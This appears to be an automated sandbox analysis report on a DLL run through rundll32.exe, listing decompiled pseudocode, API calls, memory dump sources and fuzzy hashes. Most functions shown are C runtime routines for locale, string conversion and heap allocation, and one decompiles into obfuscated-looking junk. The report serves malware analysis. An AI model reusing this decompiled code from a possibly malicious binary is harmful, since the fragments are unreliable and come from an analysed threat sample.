						if(_t46 !=  *((intOrPtr*)(_t85 - 0x18))) {
							goto L22;
						} else {
							__eflags = _t76;
							if(_t76 != 0) {
								goto L22;
							} else {
								while(1) {
									__eflags = _t62;
									if(__eflags < 0) {
										break;
									}
									if(__eflags > 0) {
										L21:
										_t54 =  *0x6ddd6b60; // 0x6dd7aabc
										_t23 = _t54 + 4; // 0x8
										_t55 =  *_t23;
										_t24 = _t55 + 0x6ddd6ba0; // 0x20
										_t25 = _t55 + 0x6ddd6b98; // 0x6ddd6bb0
										_t56 = E6DD13F18( *_t25,  *_t24 & 0x0000ffff);
										__eflags = 0xffff - _t56;
										if(0xffff != _t56) {
											_t82 = _t82 + 0xffffffff;
											asm("adc ebx, 0xffffffff");
											continue;
										} else {
											goto L22;
										}
									} else {
										__eflags = _t82;
										if(_t82 <= 0) {
											break;
										} else {
											goto L21;
										}
									}
									goto L25;
								}
								_t63 = 0;
							}
						}
					} else {
						while(1) {
							__eflags = _t62;
							if(__eflags < 0) {
								goto L16;
							}
							if(__eflags > 0) {
								L14:
								_t15 = _t67 + 4; // 0x8
								_t58 =  *_t15;
								_t16 = _t58 + 0x6ddd6ba0; // 0x20
								_t76 =  *_t16 & 0x0000ffff;
								_t17 = _t58 + 0x6ddd6b98; // 0x6ddd6bb0
								_t59 = E6DD13F18( *_t17, _t76);
								__eflags = 0xffff - _t59;
								if(0xffff == _t59) {
									L22:
									_t63 = 4;
								} else {
									_t67 =  *0x6ddd6b60; // 0x6dd7aabc
									_t82 = _t82 + 0xffffffff;
									asm("adc ebx, 0xffffffff");
									continue;
								}
							} else {
								__eflags = _t82;
								if(_t82 <= 0) {
									goto L16;
								} else {
									goto L14;
								}
							}
							goto L25;
						}
						goto L16;
					}
					L25:
					_t47 =  *0x6ddd6b60; // 0x6dd7aabc
					_t26 = _t47 + 4; // 0x8
					_t48 =  *_t26;
					 *((intOrPtr*)(_t48 + 0x6ddd6b80)) = 0;
					 *((intOrPtr*)(_t48 + 0x6ddd6b84)) = 0;
					 *((intOrPtr*)(_t85 - 4)) = 0;
				} else {
					_t63 = 4;
				}
				_t49 =  *0x6ddd6b60; // 0x6dd7aabc
				_t30 = _t49 + 4; // 0x8
				_t32 =  *_t30 +  *((intOrPtr*)(_t85 - 0x14)) + 0xc; // 0x0
				E6DD13A25( *_t30 +  *((intOrPtr*)(_t85 - 0x14)),  *_t32 | _t63, 0);
				E6DD121C1(_t63, _t85 - 0x2c, _t82,  *_t32 | _t63);
				return E6DD30075( *((intOrPtr*)(_t85 - 0x14)));
			}

0x6dd1426e
0x6dd14278
0x6dd14287
0x6dd14289
0x6dd1428e
0x6dd14291
0x6dd14291
0x6dd14294
0x6dd14294
0x6dd1429a
0x6dd1429a
0x6dd142a0
0x6dd142a2
0x6dd142ba
0x6dd142ba
0x6dd142bd
0x6dd142c2
0x6dd142c5
0x6dd142a4
0x6dd142a4
0x6dd142b4
0x6dd142b4
0x6dd142b6
0x6dd142a6
0x6dd142a8
0x00000000
0x6dd142aa
0x6dd142aa
0x6dd142ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd142ac
0x6dd142a8
0x6dd142a4
0x6dd142c8
0x6dd142ce
0x6dd142d3
0x6dd142da
0x6dd142e4
0x6dd142e8
0x6dd142ee
0x6dd142f1
0x6dd142fc
0x6dd142ff
0x6dd1433c
0x6dd1433c
0x6dd1433c
0x6dd14343
0x6dd14350
0x6dd14353
0x6dd14356
0x00000000
0x6dd14358
0x6dd14358
0x6dd1435a
0x00000000
0x6dd1435c
0x6dd1435c
0x6dd1435c
0x6dd1435e
0x00000000
0x00000000
0x6dd14360
0x6dd14366
0x6dd14366
0x6dd1436b
0x6dd1436b
0x6dd1436e
0x6dd14375
0x6dd1437c
0x6dd14389
0x6dd1438c
0x6dd14393
0x6dd14396
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd14362
0x6dd14362
0x6dd14364
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd14364
0x00000000
0x6dd14360
0x6dd1439b
0x6dd1439b
0x6dd1435a
0x6dd14301
0x6dd14301
0x6dd14301
0x6dd14303
0x00000000
0x00000000
0x6dd14305
0x6dd1430b
0x6dd1430b
0x6dd1430b
0x6dd1430e
0x6dd1430e
0x6dd14315
0x6dd1431c
0x6dd14329
0x6dd1432c
0x6dd1438e
0x6dd14390
0x6dd1432e
0x6dd1432e
0x6dd14334
0x6dd14337
0x00000000
0x6dd14337
0x6dd14307
0x6dd14307
0x6dd14309
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd14309
0x00000000
0x6dd14305
0x00000000
0x6dd14301
0x6dd1439d
0x6dd1439d
0x6dd143a2
0x6dd143a2
0x6dd143a5
0x6dd143ab
0x6dd143d6
0x6dd142dc
0x6dd142de
0x6dd142de
0x6dd143d9
0x6dd143df
0x6dd143e5
0x6dd143eb
0x6dd143f3
0x6dd14400

APIs

__EH_prolog3_catch.LIBCMT ref: 6DD1426E
_wcslen.LIBCMT ref: 6DD14281

Strings

For, xrefs: 6DD14273, 6DD14349

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3_catch_wcslen
String ID: For
API String ID: 1260878687-3610791704
Opcode ID: 3f2df897fe82528a390871b4144672bea997d5e527e126aeb776ecc188b0991a
Instruction ID: eaa6c7637932984b87d1cdc55fc5c0253a42e3b9dbe757bf4cfd7a4f7e997123
Opcode Fuzzy Hash: 3f2df897fe82528a390871b4144672bea997d5e527e126aeb776ecc188b0991a
Instruction Fuzzy Hash: 6841903564821DCFCB15FBD8D99096CB7B1FB4E728B228245F5505B392C770A84187E0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DBAF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6DD6DBAF(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				int _t15;
				int _t16;
				signed int _t17;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					_t15 = E6DD64323(_t23, __eflags, _a8 + 0x250, 0x20001004,  &_v8, 2);
					__eflags = _t15;
					if(_t15 != 0) {
						_t16 = _v8;
						__eflags = _t16;
						if(_t16 == 0) {
							_t16 = GetACP();
						}
						L25:
						return _t16;
					}
					L22:
					_t16 = 0;
					goto L25;
				}
				_t17 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = 0x6dd82f08;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t17;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = 0x6dd82f10;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								_t49 = _t17;
								if(_t17 != 0) {
									_t16 = E6DD5BF09(_t23, _t23);
									goto L25;
								}
								if(E6DD64323(_t23, _t49, _a8 + 0x250, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t16 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t17 = _t17 | 0x00000001;
						__eflags = _t17;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				__eflags = _t26;
				goto L9;
			}

0x6dd6dbb4
0x6dd6dbb5
0x6dd6dbbc
0x6dd6dc62
0x6dd6dc76
0x6dd6dc7b
0x6dd6dc7d
0x6dd6dc83
0x6dd6dc86
0x6dd6dc88
0x6dd6dc8a
0x6dd6dc8a
0x6dd6dc90
0x6dd6dc95
0x6dd6dc95
0x6dd6dc7f
0x6dd6dc7f
0x00000000
0x6dd6dc7f
0x6dd6dbc2
0x6dd6dbc7
0x00000000
0x00000000
0x6dd6dbcd
0x6dd6dbd2
0x6dd6dbd4
0x6dd6dbd4
0x6dd6dbda
0x00000000
0x00000000
0x6dd6dbdf
0x6dd6dbf6
0x6dd6dbf6
0x6dd6dbff
0x6dd6dc01
0x00000000
0x00000000
0x6dd6dc03
0x6dd6dc08
0x6dd6dc0a
0x6dd6dc0a
0x6dd6dc10
0x00000000
0x00000000
0x6dd6dc15
0x6dd6dc33
0x6dd6dc33
0x6dd6dc35
0x6dd6dc5a
0x00000000
0x6dd6dc5f
0x6dd6dc52
0x00000000
0x00000000
0x6dd6dc54
0x00000000
0x6dd6dc54
0x6dd6dc17
0x6dd6dc1f
0x00000000
0x00000000
0x6dd6dc21
0x6dd6dc24
0x6dd6dc2a
0x00000000
0x00000000
0x00000000
0x6dd6dc2c
0x6dd6dc2e
0x6dd6dc30
0x6dd6dc30
0x00000000
0x6dd6dc30
0x6dd6dbe1
0x6dd6dbe9
0x00000000
0x00000000
0x6dd6dbeb
0x6dd6dbee
0x6dd6dbf4
0x00000000
0x00000000
0x00000000
0x6dd6dbf4
0x6dd6dbfa
0x6dd6dbfc
0x6dd6dbfc
0x00000000

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,6DD6DE50,?,00000050,?,?,?,?,?), ref: 6DD6DC8A

Strings

OCP, xrefs: 6DD6DC03
ACP, xrefs: 6DD6DBCD

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction ID: 717b800486c0ec0f13fd3cbe190a7d9d74d0a833ddf710d6fb504be4f22ed09f
Opcode Fuzzy Hash: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction Fuzzy Hash: 6321C762A4418AE7E724EF29ED00B9773B6ABC8B60F638424F945D7109E772D940C3F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD13751, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E6DD13751(void* __ebx, signed int* __ecx, void* __edi, void* __esi) {
				signed int _t35;
				void* _t42;
				signed int _t46;
				signed char _t51;
				void* _t53;
				signed int* _t55;
				intOrPtr* _t58;
				void* _t59;
				intOrPtr* _t60;

				E6DD300E0(0x6dd78012, __ebx, __edi, __esi, 0x38);
				_t58 = __ecx;
				_t51 =  *((intOrPtr*)(_t59 + 8));
				_t35 = _t51 & 0x000000ff;
				if(_t35 > 8) {
					 *__ecx =  *__ecx & 0x00000000;
					__eflags = _t51;
					if(_t51 != 0) {
						goto L4;
					} else {
						E6DD11F9A(_t59 - 0x28, "961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1");
						 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
						_t53 = _t59 - 0x44;
						E6DD10C7C(__ebx, _t53, __edi, _t58, __eflags);
						 *_t60 = 0x6ddd3430;
						_t42 = E6DD33D74(_t59 - 0x44, _t59 - 0x28);
						asm("scasb");
						asm("aaa");
						 *(_t59 + 0x71) =  *(_t59 + 0x71) >> 1;
						asm("aaa");
						 *(_t59 - 0x7e) =  *(_t59 - 0x7e) >> 1;
						asm("aaa");
						 *(_t59 - 0x77) =  *(_t59 - 0x77) >> 1;
						asm("aaa");
						 *(_t59 - 0x69) =  *(_t59 - 0x69) >> 1;
						asm("aaa");
						 *(_t59 - 0x64) =  *(_t59 - 0x64) >> 1;
						asm("aaa");
						 *(_t59 - 0x64) =  *(_t59 - 0x64) >> 1;
						asm("aaa");
						 *(_t59 - 0x5b) =  *(_t59 - 0x5b) >> 1;
						asm("aaa");
						 *(_t59 - 0x70) =  *(_t59 - 0x70) >> 1;
						asm("aaa");
						 *(_t59 - 0x75) =  *(_t59 - 0x75) >> 1;
						0xaf5cfb26();
						_t55 = _t53 + 1 + _t42 + 0xae;
						asm("clc");
						_t46 =  *_t55;
						__eflags = _t46 - _t55[1];
						_t32 = _t46 == _t55[1];
						__eflags = _t32;
						return _t46 & 0xffffff00 | _t32;
					}
				} else {
					switch( *((intOrPtr*)(_t35 * 4 +  &M6DD137E9))) {
						case 0:
							 *__esi =  *__esi & 0x00000000;
							goto L4;
						case 1:
							_t48 = E6DD14B1C(__ebx, __edi, __ecx, _t61);
							goto L3;
						case 2:
							__eax = E6DD14B64(__eflags);
							goto L3;
						case 3:
							__eax = E6DD14B87(__ebx, __edi, __esi, __eflags);
							goto L3;
						case 4:
							 *__esi = 0;
							goto L4;
						case 5:
							 *__esi =  *__esi & 0x00000000;
							__esi[1] = __esi[1] & 0x00000000;
							goto L4;
						case 6:
							asm("xorps xmm0, xmm0");
							asm("movsd [esi], xmm0");
							goto L4;
						case 7:
							__eax = E6DD14BCF(__eflags);
							L3:
							 *_t58 = _t48;
							L4:
							return E6DD3008A(_t58, _t49, _t56, _t58);
							goto L14;
					}
				}
				L14:
			}

0x6dd13758
0x6dd1375d
0x6dd1375f
0x6dd13762
0x6dd13768
0x6dd137b3
0x6dd137b6
0x6dd137b8
0x00000000
0x6dd137ba
0x6dd137c2
0x6dd137c7
0x6dd137cf
0x6dd137d2
0x6dd137da
0x6dd137e2
0x6dd137e9
0x6dd137ea
0x6dd137eb
0x6dd137ee
0x6dd137ef
0x6dd137f2
0x6dd137f3
0x6dd137f6
0x6dd137f7
0x6dd137fa
0x6dd137fb
0x6dd137fe
0x6dd137ff
0x6dd13802
0x6dd13803
0x6dd13806
0x6dd13807
0x6dd1380a
0x6dd1380b
0x6dd13811
0x6dd13818
0x6dd1381a
0x6dd1381d
0x6dd1381f
0x6dd13822
0x6dd13822
0x6dd13825
0x6dd13825
0x6dd1376a
0x6dd1376a
0x00000000
0x6dd137ae
0x00000000
0x00000000
0x6dd13771
0x00000000
0x00000000
0x6dd13782
0x00000000
0x00000000
0x6dd13789
0x00000000
0x00000000
0x6dd13797
0x00000000
0x00000000
0x6dd1379c
0x6dd1379f
0x00000000
0x00000000
0x6dd137a5
0x6dd137a8
0x00000000
0x00000000
0x6dd13790
0x6dd13776
0x6dd13776
0x6dd13778
0x6dd1377f
0x00000000
0x00000000
0x6dd1376a
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 6DD13758
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD137E2

Strings

961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1, xrefs: 6DD137BA

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8H_prolog3_Throw
String ID: 961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1
API String ID: 2985221223-1287915644
Opcode ID: 131776705e0803af4c8ee16a2fb690adaa5e84c3c3b05553c429692c13922b25
Instruction ID: bd6c4a07b02d1fcf6a055ab469937d330126fe3c49f372e79c37208b6023759f
Opcode Fuzzy Hash: 131776705e0803af4c8ee16a2fb690adaa5e84c3c3b05553c429692c13922b25
Instruction Fuzzy Hash: BC0192B18AC205EBD701BF64EE457ACB6F4FF1736AF12861AF1C0A2040DBB41585C762

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64B79, Relevance: 5.1, APIs: 4, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD64B79(void* __edx, short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t64 = __edx;
				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E6DD41F60(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E6DD52281())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t25 = _t70 + 1; // 0x1
							_t56 = _t25;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E6DD52281())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E6DD68CAB(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E6DD52281())) = 0x16;
					return E6DD5215B() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}

0x6dd64b79
0x6dd64b82
0x6dd64b87
0x6dd64b8a
0x6dd64b8e
0x6dd64b9d
0x6dd64ba0
0x6dd64bc0
0x6dd64bc5
0x6dd64bc8
0x6dd64bca
0x6dd64c98
0x6dd64c9e
0x6dd64cb3
0x6dd64cbf
0x6dd64cc5
0x6dd64cc7
0x6dd64cd6
0x6dd64cd6
0x6dd64cd6
0x6dd64cd9
0x6dd64cd9
0x6dd64cdd
0x6dd64cdf
0x6dd64ce2
0x6dd64ce2
0x6dd64ce2
0x6dd64ce2
0x00000000
0x6dd64ce9
0x6dd64cce
0x00000000
0x6dd64cce
0x6dd64ca0
0x6dd64ca3
0x6dd64ca3
0x6dd64ca6
0x6dd64ca6
0x6dd64ca8
0x6dd64ca9
0x6dd64ca9
0x6dd64cad
0x00000000
0x6dd64cad
0x6dd64bd0
0x6dd64bd6
0x6dd64c03
0x6dd64c0f
0x6dd64c15
0x6dd64c17
0x00000000
0x00000000
0x6dd64c1d
0x6dd64c23
0x6dd64c26
0x6dd64c82
0x6dd64c87
0x6dd64c8f
0x00000000
0x6dd64c8f
0x6dd64c28
0x6dd64c2b
0x6dd64c2d
0x6dd64c30
0x6dd64c32
0x6dd64c34
0x6dd64c6a
0x6dd64c78
0x6dd64c7e
0x6dd64c80
0x6dd64c94
0x00000000
0x6dd64c94
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd64c36
0x6dd64c36
0x6dd64c36
0x6dd64c39
0x6dd64c3c
0x6dd64c3e
0x00000000
0x00000000
0x6dd64c48
0x6dd64c4f
0x6dd64c52
0x6dd64c54
0x6dd64c5c
0x6dd64c5c
0x6dd64c5f
0x6dd64c60
0x6dd64c63
0x6dd64c65
0x00000000
0x00000000
0x00000000
0x6dd64c65
0x6dd64c56
0x6dd64c57
0x6dd64c5a
0x00000000
0x00000000
0x00000000
0x6dd64c5a
0x6dd64c67
0x00000000
0x6dd64c67
0x6dd64bd8
0x6dd64bda
0x00000000
0x00000000
0x6dd64be0
0x6dd64be3
0x6dd64be7
0x6dd64bea
0x6dd64bee
0x00000000
0x00000000
0x6dd64bf4
0x6dd64bf5
0x6dd64bf8
0x6dd64bfa
0x00000000
0x00000000
0x00000000
0x6dd64bfc
0x00000000
0x6dd64be3
0x6dd64ba7
0x00000000
0x6dd64bb2
0x6dd64b94
0x6dd64b9a
0x00000000
0x6dd64b9a
0x6dd64cf1

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,AA9E70CB,AA9E70CB,00000000,00000000,00000000,00000000,00000000), ref: 6DD64C0F
GetLastError.KERNEL32 ref: 6DD64C1D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 6DD64C78

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: c86809e6baaabc412be4d9a58c144c72167b986f8523f67cfb2fd82a48d1386e
Instruction ID: 80ddb88a6c08ef097d1d0ef4a127265c7857175823de44f55bbc4d7f4d18ee6e
Opcode Fuzzy Hash: c86809e6baaabc412be4d9a58c144c72167b986f8523f67cfb2fd82a48d1386e
Instruction Fuzzy Hash: 21411434608297EFDB11AF69CC64BBA7BB4AF0A324F128159F95957291DB318811C7F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 1556 Parent PID: 4356 rundll32.exeCOMMON

Executed Functions

Function 6DD5C7EF, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6DD5C830

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: be9a347518b086c2b6404d999c07c8c35106dba2906e6d2d524591b2671861d7
Instruction ID: 6a531c480f14e1f57062ea4bb6e13fcb01a10f9b4090d4a995edacf70b2aa746
Opcode Fuzzy Hash: be9a347518b086c2b6404d999c07c8c35106dba2906e6d2d524591b2671861d7
Instruction Fuzzy Hash: F1F0E931544526A7FF213B6ECC04F5B3F58AF92BB0F1581A1BC14AA181CB30D82087F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F26D, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 6DD5F29F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction ID: 6ce186f8a9916029c2f76634d9ff953af9297131b79d9a78a7526ea82c40bd29
Opcode Fuzzy Hash: 2dcec0472ba52e34ee43ad0b350ec526e3cae9e1195cc84b7a629e8760d7a30a
Instruction Fuzzy Hash: BEE030AA544222AAFF1137758900F9A3B58AF836A5F024150BD54DE1C1CB70D86086B1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD178D3, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 6DD178FB

Part of subcall function 6DD17005: std::_Lockit::_Lockit.LIBCPMT ref: 6DD17017
Part of subcall function 6DD17005: std::locale::_Setgloballocale.LIBCPMT ref: 6DD17032
Part of subcall function 6DD17005: _Yarn.LIBCPMT ref: 6DD17048
Part of subcall function 6DD17005: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17088

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 238635018-0
Opcode ID: 405ad1521877e734a8af56b6daf71dadde5b0a8abbcde1cf33ceba704298021a
Instruction ID: abf51ca9c3ce273183096c38873c2d9b422c7f2bb5fba648735bd3a8e6e1986a
Opcode Fuzzy Hash: 405ad1521877e734a8af56b6daf71dadde5b0a8abbcde1cf33ceba704298021a
Instruction Fuzzy Hash: A1E09232EAD621B7D2217BA49901B29A150AB40B28F630049B2009B291CBA0480047E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DD6E518, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5B1
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,6DD6E837,?,00000000), ref: 6DD6E5DA
GetACP.KERNEL32(?,?,6DD6E837,?,00000000), ref: 6DD6E5EF

Strings

ACP, xrefs: 6DD6E536
OCP, xrefs: 6DD6E56C

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction ID: cc99038b3ac4d6aae8793d1e51b08903c0387d25f50e39b90259c4b10fcf07b4
Opcode Fuzzy Hash: 15ee23f0fb39e253981f0bc8fcf95e45196a4339701e17f99496a754c3756cbb
Instruction Fuzzy Hash: 7E219032644182EBE721EF58CD05AA777B6AB45B24F52C465F909C7202F732D940C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6E6EC, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,00000000,6DD51A4A,?,?,6DD15404,000000A4,6DD14FBB,00000000,00000001,?,?,?,?,?,?), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
